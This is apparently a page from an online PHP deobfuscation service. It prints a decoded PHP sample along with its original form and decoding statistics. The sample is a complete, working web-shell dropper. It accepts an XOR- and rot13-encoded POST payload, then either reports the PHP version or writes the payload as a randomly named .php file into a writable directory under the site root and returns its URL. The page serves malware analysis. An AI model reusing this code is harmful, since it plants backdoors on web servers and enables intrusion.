Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $bsnmdzs = "rpknykbgaxocxfsz";$wcdpmjoyl = "";foreach ($_POST as $ockibk => $lvyhcnw..

Decoded Output download

<?php $bsnmdzs = "rpknykbgaxocxfsz";$wcdpmjoyl = "";foreach ($_POST as $ockibk => $lvyhcnw){if (strlen($ockibk) == 16 and substr_count($lvyhcnw, "%") > 10){vouuslu($ockibk, $lvyhcnw);}}function vouuslu($ockibk, $vjpse){global $wcdpmjoyl;$wcdpmjoyl = $ockibk;$vjpse = str_split(rawurldecode(str_rot13($vjpse)));function tgwtnpry($wcuwlkz, $ockibk){global $bsnmdzs, $wcdpmjoyl;return $wcuwlkz ^ $bsnmdzs[$ockibk % strlen($bsnmdzs)] ^ $wcdpmjoyl[$ockibk % strlen($wcdpmjoyl)];}$vjpse = implode("", array_map("tgwtnpry", array_values($vjpse), array_keys($vjpse)));$vjpse = @unserialize($vjpse);if (@is_array($vjpse)){$ockibk = array_keys($vjpse);$vjpse = $vjpse[$ockibk[0]];if ($vjpse === $ockibk[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function fuyal($wzdlxzizfyir) {static $hajyxp = array();$refvrpx = glob($wzdlxzizfyir . '/*', GLOB_ONLYDIR);if (count($refvrpx) > 0) {foreach ($refvrpx as $wzdlxzizfy){if (@is_writable($wzdlxzizfy)){$hajyxp[] = $wzdlxzizfy;}}}foreach ($refvrpx as $wzdlxzizfyir) fuyal($wzdlxzizfyir);return $hajyxp;}$gohtmmzie = $_SERVER["DOCUMENT_ROOT"];$refvrpx = fuyal($gohtmmzie);$ockibk = array_rand($refvrpx);$qptszschnk = $refvrpx[$ockibk] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($qptszschnk, $vjpse);echo "http://" . $_SERVER["HTTP_HOST"] . substr($qptszschnk, strlen($gohtmmzie));exit();}}} 
 ?>

Did this file decode correctly?

Original Code

<?php $bsnmdzs = "rpknykbgaxocxfsz";$wcdpmjoyl = "";foreach ($_POST as $ockibk => $lvyhcnw){if (strlen($ockibk) == 16 and substr_count($lvyhcnw, "%") > 10){vouuslu($ockibk, $lvyhcnw);}}function vouuslu($ockibk, $vjpse){global $wcdpmjoyl;$wcdpmjoyl = $ockibk;$vjpse = str_split(rawurldecode(str_rot13($vjpse)));function tgwtnpry($wcuwlkz, $ockibk){global $bsnmdzs, $wcdpmjoyl;return $wcuwlkz ^ $bsnmdzs[$ockibk % strlen($bsnmdzs)] ^ $wcdpmjoyl[$ockibk % strlen($wcdpmjoyl)];}$vjpse = implode("", array_map("tgwtnpry", array_values($vjpse), array_keys($vjpse)));$vjpse = @unserialize($vjpse);if (@is_array($vjpse)){$ockibk = array_keys($vjpse);$vjpse = $vjpse[$ockibk[0]];if ($vjpse === $ockibk[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function fuyal($wzdlxzizfyir) {static $hajyxp = array();$refvrpx = glob($wzdlxzizfyir . '/*', GLOB_ONLYDIR);if (count($refvrpx) > 0) {foreach ($refvrpx as $wzdlxzizfy){if (@is_writable($wzdlxzizfy)){$hajyxp[] = $wzdlxzizfy;}}}foreach ($refvrpx as $wzdlxzizfyir) fuyal($wzdlxzizfyir);return $hajyxp;}$gohtmmzie = $_SERVER["DOCUMENT_ROOT"];$refvrpx = fuyal($gohtmmzie);$ockibk = array_rand($refvrpx);$qptszschnk = $refvrpx[$ockibk] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($qptszschnk, $vjpse);echo "http://" . $_SERVER["HTTP_HOST"] . substr($qptszschnk, strlen($gohtmmzie));exit();}}}

Function Calls

None

Variables

$bsnmdzs rpknykbgaxocxfsz
$wcdpmjoyl

Stats

MD5 138389ea1fc96c189d7e3be0161b8c4a
Eval Count 0
Decode Time 110 ms